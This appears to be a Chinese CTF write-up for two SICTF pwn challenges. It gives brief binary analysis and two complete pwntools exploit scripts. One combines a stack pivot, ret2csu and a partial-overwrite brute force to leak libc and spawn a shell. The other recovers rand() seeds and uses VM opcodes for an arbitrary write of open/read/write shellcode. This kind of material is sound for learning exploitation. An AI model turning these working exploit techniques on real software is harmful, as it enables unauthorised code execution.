WP-SICTF-<栈风水>-<signin_vm>

SI::CTF-<栈风水>-<signin_vm></signin_vm>

栈风水

保护

[*] '/CTF/sictf/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
    RUNPATH:  b'/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/'
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _BYTE buf[160]; // [rsp+0h] [rbp-A0h] BYREF

  read(0, buf, 0xB0uLL);
  return 0LL;
}

main函数也就只有一个0x10的栈溢出,由此的攻击方向

栈迁移

  1. 溢出控制rbp,返回到main内部可往rbp-0xa0写入payload
  2. 再一次leave后就可以跳转到第二次控制的rbp上

csu

在init函数内部有csu

.text:00000000004006B0                 mov     rdx, r15
.text:00000000004006B3                 mov     rsi, r14
.text:00000000004006B6                 mov     edi, r13d
.text:00000000004006B9                 call    ds:(funcs_4006B9 - 600DE8h)[r12+rbx*8]
.text:00000000004006BD                 add     rbx, 1
.text:00000000004006C1                 cmp     rbp, rbx
.text:00000000004006C4                 jnz     short loc_4006B0
.text:00000000004006C6
.text:00000000004006C6 loc_4006C6:                             ; CODE XREF: init+34j
.text:00000000004006C6                 add     rsp, 8
.text:00000000004006CA                 pop     rbx
.text:00000000004006CB                 pop     rbp
.text:00000000004006CC                 pop     r12
.text:00000000004006CE                 pop     r13
.text:00000000004006D0                 pop     r14
.text:00000000004006D2                 pop     r15
.text:00000000004006D4                 retn

特别函数

.text:00000000004004F7
.text:00000000004004F7 ; =============== S U B R O U T I N E =======================================
.text:00000000004004F7
.text:00000000004004F7 ; Attributes: bp-based frame
.text:00000000004004F7
.text:00000000004004F7 ; ssize_t (**sub_4004F7())(int fd, void *buf, size_t nbytes)
.text:00000000004004F7 sub_4004F7      proc near               ; CODE XREF: init+49p
.text:00000000004004F7                                         ; DATA XREF: .init_array:funcs_4006B9o
.text:00000000004004F7
.text:00000000004004F7 var_8           = qword ptr -8
.text:00000000004004F7
.text:00000000004004F7 ; __unwind {
.text:00000000004004F7                 push    rbp
.text:00000000004004F8                 mov     rbp, rsp
.text:00000000004004FB                 mov     rax, 0FFFF7FFFFFFFFFFFh
.text:0000000000400505                 mov     [rbp+var_8], rax
.text:0000000000400509                 mov     rdx, [rbp+var_8]
.text:000000000040050D                 mov     rax, 0FFFF000000000000h
.text:0000000000400517                 and     rdx, rax
.text:000000000040051A                 mov     rax, cs:read_ptr
.text:0000000000400521                 add     rax, rdx
.text:0000000000400524                 mov     cs:num, rax
.text:000000000040052B                 nop
.text:000000000040052C                 pop     rbp
.text:000000000040052D                 retn
.text:000000000040052D ; } // starts at 4004F7
.text:000000000040052D sub_4004F7      endp

会向bss段上写一个read地址,不过需要给高两位清零才是read函数的地址

思路:

  1. 第一次往bss上csu第一次调用read函数扩充写rop的空间
  2. libc里write与read函数很近,第二次read清理高两位
  3. 第三次read修改最低两字节为libc里的write的低两字节(这里就需要爆破1/16)
  4. csu调用修改好的write,输出got表拿libc
  5. 第四次read写入sysem(“/bin/sh”)

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']

file_name = './pwn'
b_string ="b main\n"
b_slice = ["0x0000000004006B9"]
for i in b_slice:
    if type(i) == int:
        b_string += f"b *$rebase({i})\n"
    else :
        if type(i) == str:
            b_string += f"b *"+i+f"\n"
#1 => attach
#2 => debug
#3 => remote
choice = 0
if choice == 1 :
    p = process(file_name)
    gdb.attach(p,b_string)
    print(f"Break_point:\n"+b_string)

elif choice == 2 :
    p = gdb.debug(file_name,b_string)
    print(f"Break_point:\n"+b_string)

elif choice == 3 :
    ip_add ="nc1.ctfplus.cn"
    port = 39169
    print("[==^==] remote : "+ip_add+str(port))
    p = remote(ip_add,port)

#-----------------------------------------------------------------------------------------
def Qword(data): 
    if type(data) == bytes :
        print("[~]===> Data : ")
        for i in range(len(data)//8):
            print("         %.2x : 0x%x" % (8*i,u64(data[i*8:(i*8+8)])))
    else :
        print("Print data failed!!")
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sd = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
#u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b           : print("\x1B[1;36m[+]{} =====> 0x%x \x1B[0m".format(a)%b)
#-----------------------------------------------------------------------------------------

leave = 0x0000000000400669
bss   = 0x0000000000601E00
main  = 0x0000000000400640
fun2  = 0x00000000004004F7

csu_1 = 0x0000000004006CA
csu_2 = 0x0000000004006B0

read = 0x400400
read_got = 0x000000000600FE8
addr = 0x606e40
rdi = 0x00000000004006d3
rsi_r15 = 0x00000000004006d1
ret = 0x00000000004003e6

#0x68
def csu(fun,rdi,rsi,rdx):
    return p64(csu_1)+p64(0)+p64(1)+p64(fun)+p64(rdi)+p64(rsi)+p64(rdx)+p64(csu_2)+p64(0)*7

rop  = p64(fun2)
rop += csu(read_got,0,addr+6,2)
rop += csu(read_got,0,addr,2)
rop += csu(addr,1,read_got,0x8)
rop += csu(read_got,0,0x602020,0x100)

print("len => 0x%x"%len(rop))

def pwn():
    payload = b"a"*0xa0 + p64(bss+0xa0) + p64(main+4)
    p.send(payload)

    more_rop_spase = csu(read_got,0,bss+0x78,0x1000).ljust(0xa0,b'\x00') + p64(bss-8) + p64(leave)

    p.send(more_rop_spase)
    p.send(rop.ljust(0x1000,b'\x00'))

    p.send(b'\x00\x00')
    p.send(b'\x70\x98')
    libc = u64(p.recv(8))-0x00000000001147D0
    pad("libc",libc)
    return libc

while True:
    try:
        p = process(file_name)
        # p = remote("27.25.151.29",34221)
        libc = pwn()
        # gdb.attach(p,b_string)
        print("len => 0x%x"%len(rop))
        system = libc + 0x000000000050D70
        binsh  = libc + 0x0000000001D8678
        getsh = p64(rdi)+p64(binsh)+p64(system)
        p.send(getsh.ljust(0x100,b'\x00'))
        sl("cat flag")
        break
    except EOFError:  
        p.close()  
        continue

inter()

signin_vm

保护

全开

解析

unsigned __int64 sub_1437()
{
  int v0; // eax
  int v2; // [rsp+4h] [rbp-1Ch]

  v2 = rand() % 1131796;
  v0 = rand();
  return ((v2 + (v2 ^ v0) + rand()) >> 4) << 12;
}

三次随机数生成一个地址

这里就只有一个关键点,爆破opcode(“V”)跳转的地址(借鉴了si群里师傅的wp的爆破思路[SICTF Round4] PWN-CSDN博客

case 'W':
        **&a1->addr = reg[a1->regid1];
        goto LABEL_19;

opcode(”W”)可以对任意地址写

思路:

  • 爆破跳转地址
  • opcode(”P”)写数据到寄存器
  • opcode(”W”)写数据到跳转地址
  • opcode(”V”)跳到写入的orw地方

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *
from ctypes import *

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
#context.terminal = ['tmux', 'splitw', '-h']

while_ = 0x000000000001D5A
jmp_shellcode  = 0x0000000000016B3

file_name = './vm'
b_string ="b main\n"
b_slice = [jmp_shellcode]
for i in b_slice:
    if type(i) == int:
        b_string += f"b *$rebase({i})\n"
    else :
        if type(i) == str:
            b_string += f"b *"+i+f"\n"

choice = 0
if choice == 0 :
    p = process(file_name)
    gdb.attach(p,b_string)
    print(f"Break_point:\n"+b_string)
else :
    if choice == 1 :
        p = gdb.debug(file_name,b_string)
        print(f"Break_point:\n"+b_string)
    else :
        ip_add ="27.25.151.29"
        #ip_add = "127.0.0.1"
        port = 34182
        p = remote(ip_add,port)

#-----------------------------------------------------------------------------------------
def Qword(data): 
    if type(data) == bytes :
        print("[~]===> Data : ")
        for i in range(len(data)//8):
            print("         %.2x : 0x%x" % (8*i,u64(data[i*8:(i*8+8)])))
    else :
        print("Print data failed!!")
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sd = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
#u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
#u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
pad = lambda a,b           : print("\x1B[1;36m[+]{} =====> 0x%x \x1B[0m".format(a)%b)
#-----------------------------------------------------------------------------------------
ru("rsp\t\t: 0x")
rsp = int(rv(10),16)
pad("rsp",rsp)

ru("rip\t\t: 0x")
rip = int(rv(10),16)
pad("rip",rip)

ru("bss\t\t: 0x")
bss = int(rv(10),16)
pad("bss",bss)

clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def getv():
    v2 = clibc.rand() % 1131796
    v0 = clibc.rand()
    return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12

cmd = 0
for i in range(0x1000000):
    clibc.srand(i)
    if rip == getv():
        print('bss =',hex(getv()))
        print('stack =',hex(getv()))
        cmd = getv()
        print('cmd =', hex(cmd))
        break
pad("cmd",cmd)
if(not(cmd)):
    p.close()
    exit(0)

def add(op,choice,idx1,idx2,idx3,addr1,value):
    op += p8(choice) 
    op += p8(idx1) 
    op += p8(idx2) 
    op += p8(idx3)
    if type(addr1) == int :
        op += p64(addr1)
    else :
        op += addr1.ljust(0x8,b'\x00')
    if type(value) == int :
        op += p64(value)
    else :
        op += value.ljust(0x8,b'\x00')
    return op

def write_data(data,addr):
    r = b''
    length = len(data)
    if len(data) % 8 != 0 :
        length = (8-len(data)%8)+len(data)
    for i in range(length//8):
        r += add(b'P',0,1,0,0,0,data[i*8:(i*8+8)])
        r += add(b'W',0,1,0,0,addr+i*8,0)
    return r

shellcode = asm('''
xor rdi, rdi
sub rdi, 100
mov rsi, 0x%x
mov rax, 0x101
xor rdx, rdx
xor r10, r10
syscall

mov rdi, 0
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 0
syscall

mov rdi, 1
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 1
syscall
'''%(cmd+0x100,cmd+0x500,cmd+0x500),arch = 'amd64')

sl(write_data(shellcode.ljust(0x100,b'\x00')+b'flag\x00',cmd)+add(b'V',0,0,0,0,0,0))
inter()
0 条评论
某人
表情
可输入 255